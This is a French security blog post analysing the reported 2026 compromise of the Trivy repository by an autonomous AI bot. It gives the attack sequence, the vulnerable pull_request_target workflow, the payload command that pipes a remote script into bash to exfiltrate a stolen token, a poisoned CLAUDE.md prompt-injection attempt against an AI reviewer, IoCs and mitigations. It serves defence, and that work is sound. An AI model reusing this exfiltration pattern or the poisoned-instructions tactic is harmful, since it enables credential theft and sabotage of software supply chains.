~12 minutes
Le 1er mars 2026, Trivy, l’un des scanners de vulnérabilités open-source les plus utilisés au monde avec plus de 25 000 étoiles sur GitHub et intégré dans des milliers de pipelines CI/CD, a été victime d’une compromission complète de son dépôt. Un bot IA autonome baptisé hackerbot-claw a exploité une vulnérabilité dans les GitHub Actions pour voler un Personal Access Token (PAT), vandaliser le dépôt, supprimer des années de releases et pousser une extension VSCode malveillante. Un cas d’école parfait de ce que l’OWASP appelle “A03: Software Supply Chain Failures” dans son Top 10 2025.
Contexte : Trivy, une cible de choix
Trivy est un scanner de sécurité open-source développé par Aqua Security, capable de détecter des vulnérabilités dans des images de conteneurs, des systèmes de fichiers, des dépôts Git et des configurations IaC. C’est précisément son omniprésence dans les chaînes DevSecOps qui en fait une cible stratégique.
On sous-estime systématiquement la valeur de ces outils comme cibles : compromettre Trivy, c’est potentiellement compromettre chaque organisation qui l’utilise pour sécuriser ses propres chaînes de build. L’ironie est cruelle ; l’outil censé protéger la supply chain devient lui-même un vecteur d’attaque supply chain.
Chiffres clés avant l’incident :
- 25 000+ étoiles sur GitHub
- Intégré dans des milliers de pipelines CI/CD à travers le monde
- Outil de référence dans les environnements Kubernetes, Docker et cloud
- GitHub Actions disponibles ; le vecteur d’attaque idéal
L’attaquant : hackerbot-claw, un bot IA autonome
Ce qui rend cet incident particulièrement marquant, c’est la nature de l’attaquant. Le compte GitHub hackerbot-claw (créé le 20 février 2026) se décrit comme un “autonomous security research agent powered by claude-opus-4-5” ; un agent IA autonome qui scanne, exploite et itère sans intervention humaine.
Son README révèle sa méthodologie : il charge un “vulnerability pattern index” de 9 classes et 47 sous-patterns, puis scanne, vérifie et dépose des preuves de concept d’exploitation de manière autonome. Son journal d’activité montre 5 sessions réussies dans les 2 jours précédant l’analyse de StepSecurity.
Du 21 au 28 février 2026, hackerbot-claw a ciblé 7 dépôts appartenant à Microsoft, DataDog, la CNCF et des projets open-source populaires :
avelino/awesome-go(140k+ étoiles) => RCE confirmé + vol de tokenmicrosoft/ai-discovery-agent=> RCE probableDataDog/datadog-iac-scanner=> RCE probableproject-akri/akri(projet CNCF) => RCE confirméambient-code/platform=> Prompt injection IA, détecté et bloqué par ClaudeRustPython/RustPython(20k+ étoiles) => Exécution partielleaquasecurity/trivy=> Compromission complète du dépôt ⚠️
Chronologie de l’incident
20 février 2026 : Création du compte
Le compte hackerbot-claw est créé sur GitHub. Il commence immédiatement à indexer des dépôts populaires pour identifier des workflows GitHub Actions vulnérables.
27-28 février 2026 : La campagne d’attaque
Le bot cible successivement Microsoft, DataDog, CNCF, awesome-go et ambient-code. Dans 5 cas sur 7, il parvient à exécuter du code arbitraire dans les runners CI. Seul l’agent Claude (sur ambient-code/platform) détecte et refuse l’injection.
28 février 2026, 03h28 UTC : Attaque sur Trivy
hackerbot-claw ouvre la PR #10254 avec un nom de branche apparemment légitime (fix-pass-Detected-vulnerability-Custom-field-for-azure-and-mariner-os) pour déclencher le workflow “API Diff Check” (apidiff.yaml), un workflow pull_request_target fonctionnant avec des permissions élevées.
La PR modifie .github/actions/setup-go/action.yaml pour injecter le payload directement dans l’étape de setup Go. Les logs confirment l’exécution du payload pendant l’étape Set up Go ; anomalie visible : cette étape prend plus de 5 minutes au lieu de quelques secondes.
28 février 2026, 03h47 UTC : Utilisation du PAT volé
Dix-neuf minutes après l’exécution du workflow, le PAT volé est utilisé pour pousser directement le commit d267cc4 sur le dépôt, en contournant totalement le processus de PR. Le README est vandalisé avec un message du bot :
“Just researchmaxxed the PAT that leaked cuz of the vuln and yeeted it on sight, no cap. Overpowered token? Revoked. You’re safe now, king 👑.”
28 février - 1er mars 2026 : L’étendue des dégâts
Le PAT volé, disposant de permissions write sur le dépôt, est utilisé pour :
- Rendre le dépôt privé et le renommer en
aquasecurity/private-trivy, en poussant un dépôt vide à la place - Supprimer toutes les GitHub Releases entre les versions 0.27.0 et 0.69.1, y compris les discussions et assets associés
- Pousser un artifact malveillant pour l’extension VSCode de Trivy sur le marketplace Open VSX
1er mars 2026 : Divulgation publique et remédiation
L’équipe Aqua Security publie la Discussion #10265 confirmant l’incident et détaillant les actions correctives.
Ce qui a été compromis
| Actif | Impact |
|---|---|
| Dépôt GitHub | Renommé/privatisé, dépôt vide poussé à la place |
| GitHub Releases v0.27.0–v0.69.1 | Supprimées (binaires, assets, discussions) |
| Extension VSCode (Open VSX) | Artifact malveillant publié, token de publication révoqué |
| Téléchargements via get.trivy.dev | Dégradés le temps de la restauration |
| Trivy Action / install script | Fonctionnalité dégradée |
Ce qui n’a PAS été compromis :
- Les images de conteneurs (Docker Hub, registres)
- Les packages managers (Homebrew, apt, etc.)
- Le code source lui-même
Vecteurs d’attaque
Je distingue ici quatre vecteurs utilisés ou exploitables dans cet incident :
1. pull_request_target + checkout non fiable
L’attaque repose sur un pattern bien documenté mais encore très répandu. Le trigger pull_request_target donne au workflow accès aux secrets et permissions du dépôt cible, mais le checkout récupère le code de la fork de l’attaquant. N’importe quel code dans ce checkout s’exécute alors avec des privilèges élevés.
# Pattern vulnérable dans apidiff.yaml :
on:
pull_request_target: # S'exécute avec les permissions du dépôt cible
steps:
- uses: actions/checkout@v6
with:
ref: $ # Code de l'attaquant
- run: go build ./... # Exécuté avec des secrets d'environnement
Le problème n’est pas
pull_request_targeten soi, c’est la combinaison avec le checkout du code soumis par un contributeur externe.
2. Injection dans une action composite
Plutôt que d’injecter directement dans un workflow YAML, hackerbot-claw a modifié .github/actions/setup-go/action.yaml, un fichier d’action composite réutilisable. C’est plus difficile à détecter qu’une modification directe de workflow ; les reviewers regardent rarement les actions partagées avec la même rigueur.
3. Exfiltration de PAT via curl
Une fois le code exécuté dans le contexte du runner CI, le PAT est disponible en variable d’environnement. La commande curl -sSfL hackmoltrepeat.com/molt | bash télécharge et exécute un script qui identifie et exfiltre tous les secrets disponibles vers recv.hackmoltrepeat.com. La durée anormale de l’étape Set up Go (5 min au lieu de quelques secondes) était l’unique signal visible.
4. Distribution via les artifacts publiés
Avec le token de publication de l’extension VSCode en main, le bot pousse un artifact malveillant sur le marketplace Open VSX. Ce vecteur transforme une compromission de dépôt en compromission potentielle des postes développeurs ; quiconque met à jour l’extension récupère le malware.
Exemple concret
Voici la séquence exacte de l’attaque, étape par étape :
- Reconnaissance :
hackerbot-clawscanne le dépôtaquasecurity/trivyet identifie le workflowapidiff.yamlavec le triggerpull_request_targetcombiné à unactions/checkoutsur le SHA de la PR - Préparation du payload : le bot crée une fork, modifie
.github/actions/setup-go/action.yamlpour ajoutercurl -sSfL hackmoltrepeat.com/molt | bashdans l’étape de setup Go - Déclenchement : ouverture de la PR #10254 avec un nom de branche légitime en apparence ; le workflow
apidiff.yamlse déclenche automatiquement - Exécution en contexte privilégié : le code de la fork s’exécute dans le runner GitHub avec accès aux secrets du dépôt cible ; l’étape
Set up Goprend 5 minutes (au lieu de 10 secondes) - Exfiltration : le script récupère le PAT disponible en variable d’environnement et l’envoie vers
recv.hackmoltrepeat.com - Exploitation immédiate : 19 minutes plus tard, le PAT est utilisé pour pousser un commit directement sur
main, renommer le dépôt, supprimer 42 releases et publier une extension VSCode malveillante - Couverture : le bot prétend avoir révoqué le token après usage ; en réalité, les dégâts sont déjà effectifs
Analyse STRIDE
| Catégorie STRIDE | Applicable | Explication |
|---|---|---|
| Spoofing (Usurpation d’identité) | Oui | Le PAT volé permet au bot d’agir sous l’identité du propriétaire du token sur GitHub. Toutes les actions malveillantes sont attribuées à un compte légitime d’Aqua Security. |
| Tampering (Falsification) | Oui (PRIMAIRE) | README vandalisé, extension VSCode malveillante publiée, dépôt remplacé par un dépôt vide. L’intégrité de la chaîne de distribution est directement atteinte. |
| Repudiation (Répudiation) | Oui | Les commits et publications malveillantes apparaissent comme émanant du compte légitime. Le traçage de la compromission requiert une analyse forensique post-incident. |
| Information Disclosure (Divulgation) | Oui | Le PAT est exfiltré vers une infrastructure externe contrôlée par l’attaquant. Le token d’extension VSCode est également récupéré. |
| Denial of Service (Déni de service) | Oui | Suppression de 42 releases (v0.27.0 à v0.69.1), privatisation du dépôt, dégradation des téléchargements via get.trivy.dev et de la Trivy Action. |
| Elevation of Privilege (Élévation de privilèges) | Oui | Le trigger pull_request_target élève les permissions du code externe au niveau du dépôt cible. Un contributeur sans aucun droit obtient les permissions write du PAT via le runner CI. |
Impact potentiel
| Impact | Niveau | Description de l'impact |
|---|---|---|
| Confidentialité | Élevé | PAT d'un membre Aqua Security exfiltré. Token de publication de l'extension VSCode compromis. Ces credentials donnent accès à des ressources internes et à des canaux de distribution tiers. |
| Intégrité | Critique | Dépôt vandalisé, 42 releases supprimées, artifact malveillant publié sur Open VSX. La chaîne de confiance autour de Trivy est directement atteinte ; les utilisateurs ne peuvent plus vérifier l'intégrité des binaires historiques. |
| Disponibilité | Élevé | Dépôt rendu privé puis recréé (perte des 25k+ stars), releases v0.27.0 à v0.69.1 supprimées, Trivy Action et script d'installation dégradés. Les pipelines CI/CD dépendant de releases historiques sont directement impactés. |
| Réputation | Sévère | Un outil de sécurité compromis via sa propre infrastructure CI/CD génère un effet de confiance inversé. L'incident est massivement relayé dans la communauté DevSecOps et remet en question la fiabilité de l'ensemble de l'écosystème Aqua Security. |
Recommandations de mitigation
1. Bannir la combinaison pull_request_target + checkout du code de la PR
C’est la règle n°1. Si vous devez utiliser pull_request_target pour accéder aux secrets du dépôt cible, ne checkouter jamais le code soumis par le contributeur externe. Séparez les workflows : un pour les PR (sans secrets) et un pour les actions post-merge (avec secrets).
2. Appliquer le principe de moindre privilège sur tous les workflows
Par défaut, les workflows GitHub Actions héritent de permissions trop larges. On doit les restreindre explicitement :
permissions:
contents: read # Jamais write sauf nécessité absolue
pull-requests: read
Un PAT contents: read ne peut pas pousser de commits même s’il est exfiltré.
3. Monitorer le trafic réseau des runners CI
L’attaque utilisait systématiquement un curl vers un domaine externe. Un monitoring des sorties réseau des runners via StepSecurity Harden-Runner aurait pu détecter et bloquer l’exfiltration en temps réel.
4. Surveiller les anomalies de durée dans les étapes CI
L’étape Set up Go a pris 5 minutes au lieu de quelques secondes. On doit mettre en place des alertes sur les durées anormales des étapes CI ; c’est souvent le seul signal visible d’une exécution de payload.
5. Inventorier et surveiller les extensions IDE
Les marketplaces tiers (Open VSX, npm mirrors) ne bénéficient pas du même niveau de vérification que les marketplaces officiels. Il faut inventorier les extensions installées sur les postes développeurs et mettre en place des alertes sur les mises à jour inattendues.
6. Vérifier les signatures GPG des binaires téléchargés
Avant d’utiliser un binaire téléchargé depuis GitHub Releases, on vérifie sa signature GPG. Si le processus de build est compromis, la signature sera invalide ; c’est le dernier filet de sécurité côté consommateur.
L’aspect inédit : une IA attaque une IA
Ce qui distingue fondamentalement la campagne hackerbot-claw des attaques supply chain précédentes, c’est sa nature entièrement automatisée et pilotée par IA.
Sur le dépôt ambient-code/platform, le bot a tenté une injection de prompt IA en remplaçant le fichier CLAUDE.md (configuration du reviewer IA) par des instructions malveillantes demandant à Claude Code de vandaliser le README et de pousser des commits non autorisés. Claude (sonnet 4.6) a détecté et refusé l’attaque immédiatement, en l’identifiant comme une “textbook AI agent supply-chain attack via poisoned project-level instructions”.
On entre dans une ère où des agents IA attaquent d’autres agents IA. La surface d’attaque des chaînes de build s’est considérablement élargie ; les défenses manuelles ne peuvent plus suffire face à une automatisation qui scanne et itère en continu.
Quelques références pour aller plus loin
- Aqua Security — Trivy Security Incident 2026-03-01 (Discussion #10265)
- StepSecurity — hackerbot-claw: An AI-Powered Bot Actively Exploiting GitHub Actions
- OWASP Top 10 2025 RC1 — A03 Supply Chain Failures
- GitHub Security Lab — Preventing Pwn Requests
- StepSecurity Harden-Runner — Monitoring réseau CI
- OSSF Scorecard — Évaluation sécurité des workflows open-source
Indicateurs de compromission (IoC) :
- Domaine C2 :
hackmoltrepeat.com(payload),recv.hackmoltrepeat.com(exfiltration) - Compte GitHub :
hackerbot-claw(créé le 2026-02-20) - Pattern de branche : noms en emoji pour masquer l’intention (
🤖🦞) - Commit Trivy :
d267cc4(vandalism du README)
À retenir
